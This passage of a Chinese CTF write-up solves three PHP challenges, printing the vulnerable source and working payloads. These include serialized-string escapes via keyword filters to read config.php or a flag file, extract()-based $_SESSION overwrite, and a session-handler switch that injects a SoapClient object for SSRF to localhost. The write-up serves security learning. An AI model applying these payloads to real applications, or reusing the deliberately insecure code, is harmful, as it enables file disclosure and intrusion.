<input type="password" name="password" class="span3"> <button type="submit" class="btn btn-primary">LOGIN</button> </form> </div> </body> </html> <?php } ?>
//profile.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } $username = $_SESSION['username']; $profile=$user->show_profile($username); if($profile == null) { header('Location: update.php'); } else { $profile = unserialize($profile); $phone = $profile['phone']; $email = $profile['email']; $nickname = $profile['nickname']; $photo = base64_encode(file_get_contents($profile['photo'])); ?> <!DOCTYPE html> <html> <head> <title>Profile</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <img src="data:image/gif;base64,<?php echo $photo; ?>" class="img-memeda " > <h4>Hi <?php echo $nickname;?></h4> <label>Phone: <?php echo $phone;?></label> <label>Email: <?php echo $email;?></label> </div> </body> </html> <?php } ?>
//register.php <?php require_once('class.php'); if($_POST['username'] && $_POST['password']) { $username = $_POST['username']; $password = $_POST['password']; if(strlen($username) < 3 or strlen($username) > 16) die('Invalid user name'); if(strlen($password) < 3 or strlen($password) > 16) die('Invalid password'); if(!$user->is_exists($username)) { $user->register($username, $password); echo 'Register OK!<a href="index.php">Please Login</a>'; } else { die('User name Already Exists'); } } else { ?> <!DOCTYPE html> <html> <head> <title>Login</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="register.php" method="post" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Register</h4> <label>Username:</label> <input type="text" name="username" class="span3"/> <label>Password:</label> <input type="password" name="password" class="span3"> <button type="submit" class="btn btn-primary">REGISTER</button> </form> </div> </body> </html> <?php } ?>
//update.php <?php require_once('class.php'); if($_SESSION['username'] == null) { die('Login First'); } if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) { $username = $_SESSION['username']; if(!preg_match('/^\d{11}$/', $_POST['phone'])) die('Invalid phone'); if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email'])) die('Invalid email'); if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10) die('Invalid nickname'); $file = $_FILES['photo']; if($file['size'] < 5 or $file['size'] > 1000000) die('Photo size error'); move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name'])); $profile['phone'] = $_POST['phone']; $profile['email'] = $_POST['email']; $profile['nickname'] = $_POST['nickname']; $profile['photo'] = 'upload/' . md5($file['name']); $user->update_profile($username, serialize($profile)); echo 'Update Profile Success!<a href="profile.php">Your Profile</a>'; } else { ?> <!DOCTYPE html> <html> <head> <title>UPDATE</title> <link href="static/bootstrap.min.css" rel="stylesheet"> <script src="static/jquery.min.js"></script> <script src="static/bootstrap.min.js"></script> </head> <body> <div class="container" > <form action="update.php" method="post" enctype="multipart/form-data" class="well" > <img src="static/piapiapia.gif" class="img-memeda " > <h4>Please Update Your Profile</h4> <label>Phone:</label> <input type="text" name="phone" class="span3"/> <label>Email:</label> <input type="text" name="email" class="span3"/> <label>Nickname:</label> <input type="text" name="nickname" class="span3"> <label for="file">Photo:</label> <input type="file" name="photo" class="span3"/> <button type="submit" class="btn btn-primary">UPDATE</button> </form> </div> </body> </html> <?php } ?>
//class.php <?php require('config.php'); class user extends mysql{ private $table = 'users'; public function is_exists($username) { $username = parent::filter($username); $where = "username = '$username'"; return parent::select($this->table, $where); } public function register($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $key_list = Array('username', 'password'); $value_list = Array($username, md5($password)); return parent::insert($this->table, $key_list, $value_list); } public function login($username, $password) { $username = parent::filter($username); $password = parent::filter($password); $where = "username = '$username'"; $object = parent::select($this->table, $where); if ($object && $object->password === md5($password)) { return true; } else { return false; } } public function show_profile($username) { $username = parent::filter($username); $where = "username = '$username'"; $object = parent::select($this->table, $where); return $object->profile; } public function update_profile($username, $new_profile) { $username = parent::filter($username); $new_profile = parent::filter($new_profile); $where = "username = '$username'"; return parent::update($this->table, 'profile', $new_profile, $where); } public function __tostring() { return __class__; } } class mysql { private $link = null; public function connect($config) { $this->link = mysql_connect( $config['hostname'], $config['username'], $config['password'] ); mysql_select_db($config['database']); mysql_query("SET sql_mode='strict_all_tables'"); return $this->link; } public function select($table, $where, $ret = '*') { $sql = "SELECT $ret FROM $table WHERE $where"; $result = mysql_query($sql, $this->link); return mysql_fetch_object($result); } public function insert($table, $key_list, $value_list) { $key = implode(',', $key_list); $value = '\'' . implode('\',\'', $value_list) . '\''; $sql = "INSERT INTO $table ($key) VALUES ($value)"; return mysql_query($sql); } public function update($table, $key, $value, $where) { $sql = "UPDATE $table SET $key = '$value' WHERE $where"; return mysql_query($sql); } public function filter($string) { $escape = array('\'', '\\\\'); $escape = '/' . implode('|', $escape) . '/'; $string = preg_replace($escape, '_', $string); $safe = array('select', 'insert', 'update', 'delete', 'where'); $safe = '/' . implode('|', $safe) . '/i'; return preg_replace($safe, 'hacker', $string); } public function __tostring() { return __class__; } } session_start(); $user = new user(); $user->connect($config);
//config.php <?php $config['hostname'] = '127.0.0.1'; $config['username'] = 'root'; $config['password'] = ''; $config['database'] = ''; $flag = ''; ?> //考點(diǎn): 序列化字符串字符增加的反序列化
代碼審計過(guò)后,發(fā)現序列化(update.php)與反序列化(profile.php)的點(diǎn)
過(guò)濾函數filter(class.php)如下
在profile.php第16行代碼中,可以看到有讀取文件的操作,結合前面的序列化,可以知道這里可以逃逸photo,控制photo為想要讀取的文件名再訪(fǎng)問(wèn)profile.php文件即可。
phone與email的限制很?chē)?,無(wú)法繞過(guò),可以看見(jiàn)在nickname參數中我們能夠輸入一切我們想輸入的字符(";:等).只要能夠使得后半段if判斷通過(guò),即可。
strlen函數在判斷數組時(shí)會(huì )返回null,而null在與整型數字判斷時(shí)會(huì )返回false,故構造nickname為數組即可繞過(guò)nickname的if判斷
payload構造
正常序列化結果如下 $profile['phone'] = '12345678911'; $profile['email'] = 'admin@admin.com'; $profile['nickname'] = ['wuhusihai']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";} 明確需要逃逸的字符串為";}s:5:"photo";s:10:"config.php";},長(cháng)度為34,故需要34個(gè)敏感詞where來(lái)完成逃逸 構造payload再序列化查看結果 $profile['phone'] = '12345678911'; $profile['email'] = 'admin@admin.com'; $profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}']; $profile['photo'] = 'upload/123456'; a:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"admin@admin.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";} PS:可通過(guò)校驗hacker字符串的長(cháng)度是否為204來(lái)判斷是否正確,也可在本地進(jìn)行反序列化,看能否正常反序列化
提交payload
訪(fǎng)問(wèn)profile.php
解碼
源碼
<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).'/i'; return preg_replace($filter,'',$img); } if($_SESSION){ unset($_SESSION); } $_SESSION["user"] = 'guest'; $_SESSION['function'] = $function; extract($_POST); if(!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>'; } if(!$_GET['img_path']){ $_SESSION['img'] = base64_encode('guest_img.png'); }else{ $_SESSION['img'] = sha1(base64_encode($_GET['img_path'])); } $serialize_info = filter(serialize($_SESSION)); if($function == 'highlight_file'){ highlight_file('index.php'); }else if($function == 'phpinfo'){ eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.php }else if($function == 'show_image'){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img'])); } //考點(diǎn): 序列化字符串字符減少的反序列化,extract變量覆蓋
通過(guò)extract可覆蓋全局變量$_SESSION
進(jìn)一步可控制序列化結果中的user與function,兩處可控并且filter會(huì )減少序列化字符串字符數,進(jìn)一步逃逸對象
payload為GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
payload構造思路 首先構造需要逃逸的字符串 ";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串為 a:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";} 查看需要吞沒(méi)的字符串長(cháng)度";s:8:"function";s:70:",長(cháng)度為23,根據filter函數可知,關(guān)鍵詞php可吞沒(méi)3個(gè)字符,flag可吞沒(méi)4個(gè)字符,即構造flag*5+php -> flagflagflagflagflagphp 二者結合可得 _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
<?php highlight_file(__FILE__); $b = 'implode'; call_user_func($_GET['f'], $_POST); session_start(); if (isset($_GET['name'])) { $_SESSION['name'] = $_GET['name']; } var_dump($_SESSION); $a = array(reset($_SESSION), 'welcome_to_the_lctf2018'); call_user_func($b, $a); ?> //考點(diǎn): php原生類(lèi)反序列化
訪(fǎng)問(wèn)flag.php,發(fā)現
only localhost can get flag!session_start(); echo 'only localhost can get flag!'; $flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } only localhost can get flag!
雖然call_user_func各個(gè)參數皆可控,但由于第二個(gè)參數類(lèi)型不可控(定死為數組),無(wú)法做到任意代碼執行。我們需要通過(guò)ssrf使訪(fǎng)問(wèn)到flag.php即可獲得flag.在沒(méi)有可見(jiàn)的ssrf利用處時(shí),可考慮php自身的ssrf,也即是php原生類(lèi)SoapClient.如下
<?php $a = new SoapClient(null,array('location'=>'http://vps/flag.php','uri'=>'http://vps/flag.php')); $a->azhe(); ?>
所以,現在如何使程序去SSRF成為首要問(wèn)題。
我們知道,php在保存session之時(shí),會(huì )將session進(jìn)行序列化,而在使用session時(shí)則會(huì )進(jìn)行反序列化,可控的session值導致了序列化的內容可控。
結合php序列化引擎的知識可知,默認序列化引擎為php,該方式序列化后的結果為key|序列化結果
,如下
而php_serialize引擎存儲的結果則僅為序列化結果,如下
在php引擎中,|
之前的內容會(huì )被當作session的鍵,|
后的內容會(huì )在執行反序列化操作后作為session鍵對應的值,比如name|s:6:"4ut15m";
里的name就成為了$_SESSION['name'],而s:6:"4ut15m";
在執行反序列化操作后則變成了字符串4ut15m,二者結合即是$_SESSION['name']="4ut15m"
因為call_user_func的參數可控,故我們可以調用函數ini_set或者session_start來(lái)修改序列化引擎。一系列操作如下
先生成所需的序列化字符串
需要在序列化結果前添加一個(gè)|
,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
嘗試修改題目序列化引擎,ini_set無(wú)法處理數組,故用session_start("serialize_handler")
再訪(fǎng)問(wèn)一次該頁(yè)面,則變?yōu)榱四J引擎(php),可以看到序列化結果鍵已經(jīng)不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;}
,而是SoapClient對象
接下來(lái),想要使該SoapClient對象能夠發(fā)起請求,就需要調用該對象的__call
方法.
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
這一行代碼在執行后,$a的值就成為了array(SoapClient對象,'welcome_to_the_lctf2018')
我們知道,call_user_func函數的第一個(gè)參數為數組時(shí),它會(huì )將數組的第一個(gè)值作為類(lèi),第二個(gè)值作為方法去調用該類(lèi)的方法,如下
而__call
魔術(shù)方法會(huì )在調用不存在方法的時(shí)候自動(dòng)調用,故,如果能構造到call_user_func($a)
,則可以達到執行SoapClient->welcome_to_the_lctf2018()
的效果,由于SoapClient不存在welcome_to_the_lctf2018
方法,那么這里就會(huì )自動(dòng)調用__call
方法,如下
在bp中重放攻擊一次,得到session
修改session并刷新
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自本網(wǎng)站內容采集于網(wǎng)絡(luò )互聯(lián)網(wǎng)轉載等其它媒體和分享為主,內容觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如侵犯了原作者的版權,請告知一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容,聯(lián)系我們QQ:712375056,同時(shí)歡迎投稿傳遞力量。
Copyright ? 2009-2022 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 特網(wǎng)科技 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 百度云 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站